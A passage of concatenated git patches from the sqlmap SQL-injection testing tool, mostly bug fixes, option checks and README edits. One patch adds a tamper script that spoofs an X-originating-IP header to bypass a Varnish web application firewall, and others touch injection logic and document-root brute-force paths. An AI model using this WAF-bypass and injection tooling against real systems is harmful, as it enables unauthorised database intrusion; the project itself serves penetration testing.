Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* RSS feed milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) -* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) +* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From f75df93c0e0d42f30ad04e500be789053714f775 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jul 2014 21:11:40 +0200 Subject: [PATCH 374/889] Update related to the Issue #756 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index ae7289095..89c91d6d9 100644 --- a/README.md +++ b/README.md @@ -56,3 +56,4 @@ Translations ---- * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) From 33b6d189cd5ea63e56016f9158394b113c75c290 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jul 2014 22:22:44 +0200 Subject: [PATCH 375/889] Bug fix for some cases (in cases of working where=ORIGINAL, workflow switched to where=NEGATIVE because of false assumptions that it would be better than ORIGINAL; this kind of behaviour caused reported problems) --- lib/techniques/union/test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index fdf87ea7d..76e5e09f6 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -205,7 +205,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) From 32af0b17b0803979790f31418e18e9d3580e35e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jul 2014 08:49:20 +0200 Subject: [PATCH 376/889] Update for an Issue #760 --- lib/request/connect.py | 8 +++----- tamper/varnish.py | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 5 deletions(-) create mode 100644 tamper/varnish.py diff --git a/lib/request/connect.py b/lib/request/connect.py index f3d404885..b3e4bbfdf 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -621,6 +621,9 @@ class Connect(object): if not place: place = kb.injection.place or PLACE.GET + if not auxHeaders: + auxHeaders = {} + raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) @@ -735,8 +738,6 @@ class Connect(object): uri = conf.url if value and place == PLACE.CUSTOM_HEADER: - if not auxHeaders: - auxHeaders = {} auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] if conf.rParam: @@ -873,9 +874,6 @@ class Connect(object): if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: - if not auxHeaders: - auxHeaders = {} - auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) diff --git a/tamper/varnish.py b/tamper/varnish.py new file mode 100644 index 000000000..b5f90ffa2 --- /dev/null +++ b/tamper/varnish.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Append a HTTP Request Parameter to ByPass + WAF Protection of Varnish Firewall. + + You can tamper with different Parameters, like: + >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) + >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) + >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) + >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) + >> X-remote-IP: * or %00 or %0A + + http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + + """ + + headers = kwargs.get("headers", {}) + headers["X-originating-IP"] = "127.0.0.1" + return payload From 305ec45fc6997a5b599a034239ec2e698e43842f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jul 2014 08:52:32 +0200 Subject: [PATCH 377/889] Update for an Issue #760 --- tamper/varnish.py | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/tamper/varnish.py b/tamper/varnish.py index b5f90ffa2..48e94b20b 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -14,18 +14,18 @@ def dependencies(): def tamper(payload, **kwargs): """ - Append a HTTP Request Parameter to ByPass - WAF Protection of Varnish Firewall. + Append a HTTP Request Parameter to bypass + WAF Protection of Varnish Firewall - You can tamper with different Parameters, like: - >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) - >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) - >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) - >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) - >> X-remote-IP: * or %00 or %0A - - http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + Notes: + Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + Examples: + >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) + >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) + >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) + >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) + >> X-remote-IP: * or %00 or %0A """ headers = kwargs.get("headers", {}) From e66a81ab4ef9c18b6f9e47fe056540afa768eaa7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Jul 2014 16:24:57 +0200 Subject: [PATCH 378/889] Fix for an Issue #757 --- lib/techniques/error/use.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 070c573b5..e414a5a4e 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -99,6 +99,9 @@ def _oneShotErrorUse(expression, field=None): incrementCounter(kb.technique) + if page and conf.noCast: + page = re.sub(r"'%s'.*?'%s'" % (kb.chars.start, kb.chars.stop), "", page) + # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ From cd1c100cc05bec00260fd80b47fa5ad17566d6bd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 14 Jul 2014 21:10:45 +0200 Subject: [PATCH 379/889] Another patch for an Issue #757 --- lib/techniques/error/use.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index e414a5a4e..c8a43874e 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -100,7 +100,7 @@ def _oneShotErrorUse(expression, field=None): incrementCounter(kb.technique) if page and conf.noCast: - page = re.sub(r"'%s'.*?'%s'" % (kb.chars.start, kb.chars.stop), "", page) + page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output From a09e590fe8dd0f3997be37acfb8ec379e8e1071f Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 17 Jul 2014 17:13:09 +0100 Subject: [PATCH 380/889] updated regression tests --- xml/livetests.xml | 82 ++++++++++++++++++++++++++++++----------------- 1 file changed, 53 insertions(+), 29 deletions(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index 792f866b1..4ee5eaabc 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -62,7 +62,7 @@ - + @@ -106,7 +106,7 @@ - + @@ -150,7 +150,7 @@ - + @@ -194,7 +194,7 @@ - + @@ -220,7 +220,7 @@ - + @@ -252,7 +252,7 @@ - + @@ -295,7 +295,7 @@ - + @@ -338,7 +338,7 @@ - + @@ -381,7 +381,7 @@ - + @@ -424,7 +424,7 @@ - + @@ -449,7 +449,7 @@ - + @@ -463,7 +463,7 @@ - + @@ -495,7 +495,7 @@ - + @@ -1488,6 +1488,7 @@ + @@ -1500,6 +1501,7 @@ + @@ -1511,6 +1513,7 @@ + @@ -1523,6 +1526,7 @@ + @@ -1534,6 +1538,7 @@ + @@ -1546,6 +1551,7 @@ + @@ -1557,6 +1563,7 @@ + @@ -1569,6 +1576,7 @@ + @@ -1580,6 +1588,7 @@ + @@ -1592,6 +1601,7 @@ + @@ -1603,6 +1613,7 @@ + @@ -1615,6 +1626,7 @@ + @@ -1626,6 +1638,7 @@ + @@ -1638,6 +1651,7 @@ + @@ -1649,6 +1663,7 @@ + @@ -1661,6 +1676,7 @@ + @@ -1672,6 +1688,7 @@ + @@ -1684,6 +1701,7 @@ + @@ -1695,6 +1713,7 @@ + @@ -1707,6 +1726,7 @@ + @@ -1718,6 +1738,7 @@ + @@ -1729,6 +1750,7 @@ + @@ -1740,6 +1762,7 @@ + @@ -1751,6 +1774,7 @@ + @@ -3311,7 +3335,7 @@ - + @@ -3347,7 +3371,7 @@ - + @@ -3405,7 +3429,7 @@ - + @@ -3420,7 +3444,7 @@ - + @@ -3436,7 +3460,7 @@ - + @@ -3448,7 +3472,7 @@ - + @@ -3460,7 +3484,7 @@ - + @@ -3474,7 +3498,7 @@ - + @@ -3487,7 +3511,7 @@ - + @@ -3520,7 +3544,7 @@ - + @@ -3544,7 +3568,7 @@ - + @@ -3556,7 +3580,7 @@ - + @@ -3568,7 +3592,7 @@ - + @@ -3581,7 +3605,7 @@ - + @@ -3593,7 +3617,7 @@ - + @@ -3605,7 +3629,7 @@ - + From 0eb5fb1e5acc40b65d73d038a4a398c19d206b8e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 19 Jul 2014 23:01:59 +0200 Subject: [PATCH 381/889] Update for an Issue #757 --- lib/controller/checks.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 10e9dab82..bbc3f702d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -62,6 +62,7 @@ from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import UNKNOWN_DBMS +from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import IDS_WAF_CHECK_PAYLOAD @@ -416,7 +417,8 @@ def checkSqlInjection(place, parameter, value): try: page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, listToStrValue(headers.headers \ + or extractRegexResult(check, listToStrValue( \ + [headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ From 3cfa63646b39c5373c3a0c31096cf2287fcc154c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 19 Jul 2014 23:17:23 +0200 Subject: [PATCH 382/889] Minor bug fix --- lib/core/agent.py | 2 +- lib/request/inject.py | 13 +++++++------ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 9321b1455..670420a6a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -275,7 +275,7 @@ class Agent(object): inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) - else: + elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) diff --git a/lib/request/inject.py b/lib/request/inject.py index e75b3d267..abc6d5a73 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -286,13 +286,14 @@ def _goBooleanProxy(expression): initTechnique(kb.technique) - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) - query = agent.suffixQuery(query) - payload = agent.payload(newValue=query) - output = _goDns(payload, expression) + if conf.dnsName: + query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.suffixQuery(query) + payload = agent.payload(newValue=query) + output = _goDns(payload, expression) - if output is not None: - return output + if output is not None: + return output vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) From 9fff88d6e4e3b73602b056d232bc386d7c774167 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 19 Jul 2014 23:23:55 +0200 Subject: [PATCH 383/889] Minor update --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index f3177acbc..6501c6f51 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2124,6 +2124,10 @@ def _basicOptionValidation(): errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.dumpTable and conf.search: + errMsg = "switch '--dump' is incompatible with switch '--search'" + raise SqlmapSyntaxException(errMsg) + if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) From 6c4c82758d551c32a6e618313ddc07dc39cc2ddc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jul 2014 13:26:58 +0200 Subject: [PATCH 384/889] Fix for an Issue #768 --- tamper/unmagicquotes.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 078c4f5ba..d56136f7f 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -44,7 +44,7 @@ def tamper(payload, **kwargs): continue if found: - _ = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal, flags=re.I) + _ = re.sub("(?i)\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) if _ != retVal: retVal = _ retVal += "-- " From 20d75cc52eb572f1a8e142ec63c02809f4cfcf03 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jul 2014 13:32:26 +0200 Subject: [PATCH 385/889] Patch for an Issue #767 --- lib/core/convert.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 406ef9d5b..4f48de409 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -161,7 +161,7 @@ def stdoutencode(data): else: retVal = data.encode(sys.stdout.encoding) except: - retVal = data.encode(UNICODE_ENCODING) + retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data return retVal From b31e141012119992d580e165953370647712d143 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jul 2014 14:37:48 +0200 Subject: [PATCH 386/889] Fix for an Issue #772 --- lib/controller/checks.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index bbc3f702d..7c994ccf8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1071,7 +1071,10 @@ def checkWaf(): conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) - falseResult = Request.queryPage() + try: + falseResult = Request.queryPage() + except SqlmapConnectionException: + falseResult = None if not falseResult: retVal = True From 8bc6154f06f3762e65c5e552799674885c0d1596 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Aug 2014 13:53:22 +0200 Subject: [PATCH 387/889] Removing a redundant code (similar check is being done upper in code) --- lib/core/option.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6501c6f51..6f09d5b16 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2224,10 +2224,6 @@ def _basicOptionValidation(): errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) - if conf.forms and any([conf.logFile, conf.direct, conf.requestFile, conf.googleDork]): - errMsg = "switch '--forms' is compatible only with options '-u' ('--url') and '-m'" - raise SqlmapSyntaxException(errMsg) - if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) From d300f99b0b8ebccb500d65e61e126a6d8ffd34f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Aug 2014 13:57:07 +0200 Subject: [PATCH 388/889] Removing a redundant code (similar check is being done upper in code) --- lib/core/option.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6f09d5b16..332fd5d3d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2168,8 +2168,8 @@ def _basicOptionValidation(): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.bulkFile, conf.sitemapUrl)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-m' or '-x'" + if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: From 208d51e0e9adba1d6ea9c51eab6b1ddc482e13d0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Aug 2014 13:57:43 +0200 Subject: [PATCH 389/889] Revert of last trigger happy commit --- lib/core/option.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 332fd5d3d..6f09d5b16 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2168,8 +2168,8 @@ def _basicOptionValidation(): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" + if conf.forms and not any((conf.url, conf.bulkFile, conf.sitemapUrl)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-m' or '-x'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: From 859900511544e710e2070c21a3bdef39820d7307 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Aug 2014 14:19:32 +0200 Subject: [PATCH 390/889] Implementation for an Issue #771 --- lib/core/option.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6f09d5b16..6bf520c7e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -571,11 +571,11 @@ def _setGoogleDorking(): if re.search(r"(.*?)\?(.+)", link): kb.targets.add((link, conf.method, conf.data, conf.cookie)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): - if kb.data.onlyGETs is None and conf.data is None: + if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " test = readInput(message, default="Y") kb.data.onlyGETs = test.lower() != 'n' - if not kb.data.onlyGETs: + if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie)) return links @@ -659,14 +659,17 @@ def _findPageForms(): infoMsg = "searching for forms" logger.info(infoMsg) - if not any((conf.bulkFile, conf.sitemapUrl)): + if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): page, _ = Request.queryPage(content=True) findPageForms(page, conf.url, True, True) else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) - else: + elif conf.sitemapUrl: targets = parseSitemap(conf.sitemapUrl) + elif conf.googleDork: + targets = [_[0] for _ in kb.targets] + kb.targets.clear() for i in xrange(len(targets)): try: target = targets[i] @@ -676,6 +679,8 @@ def _findPageForms(): if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) + except KeyboardInterrupt: + break except Exception, ex: errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, ex) logger.error(errMsg) @@ -2168,8 +2173,8 @@ def _basicOptionValidation(): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.bulkFile, conf.sitemapUrl)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-m' or '-x'" + if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: From 2da94ba82df7da38d62f76bd6b72d0e50c548148 Mon Sep 17 00:00:00 2001 From: "Bernardo Damele A. G." Date: Mon, 4 Aug 2014 16:46:01 +0100 Subject: [PATCH 391/889] minor doc update --- CONTRIBUTING.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f7741a737..1de4a195d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -3,13 +3,13 @@ ## Reporting bugs **Bug reports are welcome**! -Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues) or, alternatively, to the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users). +Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). ### Guidelines -* Before you submit a bug report, search both open and closed issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. +* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. -* Your report should give detailed instructions for how to reproduce the problem. If sqlmap raises an unhandled exception, the traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. +* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* * If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up. From e7ffe92d8c8f29d896b040637eb14b3b043245f2 Mon Sep 17 00:00:00 2001 From: hydhyd Date: Wed, 6 Aug 2014 12:59:18 +0400 Subject: [PATCH 392/889] Update settings.py Modified BRUTE_DOC_PREFIXES to include "/srv/www" used by default in OpenSUSE. --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 863d9c970..a9628d985 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -579,7 +579,7 @@ NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), + OS.LINUX: ("/var/www", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.WINDOWS: ("/xampp", "/Program Files/xampp/", "/wamp", "/Program Files/wampp/", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } From 658110e644871f5c7f8f7ec4cfaf2bac08bc973e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 11 Aug 2014 12:46:37 +0200 Subject: [PATCH 393/889] Minor fix --- lib/core/agent.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/core/agent.py b/lib/core/agent.py index 670420a6a..ce78736ee 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -824,6 +824,9 @@ class Agent(object): @rtype: C{str} """ + if " FROM " not in query: + return query + limitedQuery = query limitStr = queries[Backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") From f7f47c71a1dc7c096ec82c3e40879a5b34e9d440 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Aug 2014 13:19:03 +0200 Subject: [PATCH 394/889] Fix for an Issue #789 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 89c91d6d9..a620dc945 100644 --- a/README.md +++ b/README.md @@ -49,7 +49,7 @@ Links * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demos: [#1](http://www.youtube.com/user/inquisb/videos) and [#2](http://www.youtube.com/user/stamparm/videos) +* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations From 5436635acb916f6c3176129eb73c293528d5e65e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Aug 2014 13:32:17 +0200 Subject: [PATCH 395/889] Minor update --- plugins/generic/users.py | 2 +- xml/queries.xml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 0ec373bd2..7a904bfdd 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -439,7 +439,7 @@ class Users: if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - conditionChar = " LIKE " + conditionChar = "LIKE" else: conditionChar = "=" diff --git a/xml/queries.xml b/xml/queries.xml index dbd0175e6..701b57d7e 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -38,7 +38,7 @@ - + From 0a74ae736f23fec6022a223f806a80802e37abef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Aug 2014 14:01:57 +0200 Subject: [PATCH 396/889] Probable fix for an Issue #788 --- lib/core/common.py | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 32ba4d903..6a1853539 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1512,15 +1512,24 @@ def safeStringFormat(format_, params): retVal = retVal.replace("%s", str(params), 1) else: count, index = 0, 0 - while index != -1: - index = retVal.find("%s") - if index != -1: - if count < len(params): + if retVal.count("%s") == len(params): + while index != -1: + index = retVal.find("%s") + if index != -1: retVal = retVal[:index] + getUnicode(params[count]) + retVal[index + 2:] + count += 1 + else: + count = 0 + while True: + match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) + if match: + if count > len(params): + raise Exception("wrong number of parameters during string formatting") + else: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + count += 1 else: - raise Exception("wrong number of parameters during string formatting") - count += 1 - + break return retVal def getFilteredPageContent(page, onlyText=True): From 0809a61fc316e9568e2152785c4dcf3751a9e8f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Aug 2014 15:18:11 +0200 Subject: [PATCH 397/889] Bug fix (whole page output as a result of partial union runs) --- lib/core/common.py | 2 